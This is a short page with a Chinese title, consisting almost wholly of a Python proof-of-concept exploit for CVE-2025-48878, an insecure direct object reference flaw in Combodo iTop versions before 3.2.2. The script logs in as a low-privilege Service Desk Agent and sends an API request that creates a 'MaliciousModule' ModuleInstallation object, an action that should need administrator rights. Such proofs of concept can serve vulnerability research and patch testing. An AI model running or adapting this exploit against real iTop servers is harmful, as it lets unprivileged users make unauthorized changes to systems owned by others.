CVE-2025-48878 Combodo iTop 不安全直接对象引用(IDOR)漏洞

import requests import json # CVE-2025-48878 PoC - Combodo iTop IDOR Vulnerability # Target: Combodo iTop < 3.2.2 # Vulnerability: Insecure Direct Object Reference in ModuleInstallation creation TARGET_URL = "http://target-itop-server/" LOGIN_URL = TARGET_URL + "pages/ajax.render.php" API_URL = TARGET_URL + "api.php" def login_as_service_agent(session, username, password): """Authenticate as a Service Desk Agent with limited privileges""" login_data = { "operation": "login", "username": username, "password": password } response = session.post(LOGIN_URL, data=login_data) return "auth_token" in response.text def exploit_idor(session): """Exploit the IDOR vulnerability to create ModuleInstallation object""" # Construct the malicious request to create ModuleInstallation object # This should normally require admin privileges, but IDOR allows # low-privilege users (Service Desk Agent) to create it exploit_data = { "operation": "core/create", "class": "ModuleInstallation", "fields": { "name": "MaliciousModule", "label": "Unauthorized Module", "version": "1.0.0", "description": "Module created via IDOR exploit" }, "comment": "CVE-2025-48878 PoC" } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } response = session.post(API_URL, json=exploit_data, headers=headers) return response.json() def main(): session = requests.Session() # Step 1: Login as low-privilege user (Service Desk Agent) if login_as_service_agent(session, "agent_user", "password"): print("[+] Successfully authenticated as Service Desk Agent") else: print("[-] Authentication failed") return # Step 2: Exploit IDOR vulnerability result = exploit_idor(session) if result.get("code", 0) == 0 or "objects" in result: print("[+] IDOR Exploit Successful!") print(f"[+] ModuleInstallation object created: {json.dumps(result, indent=2)}") else: print("[-] Exploit failed or already patched") print(f"[-] Response: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()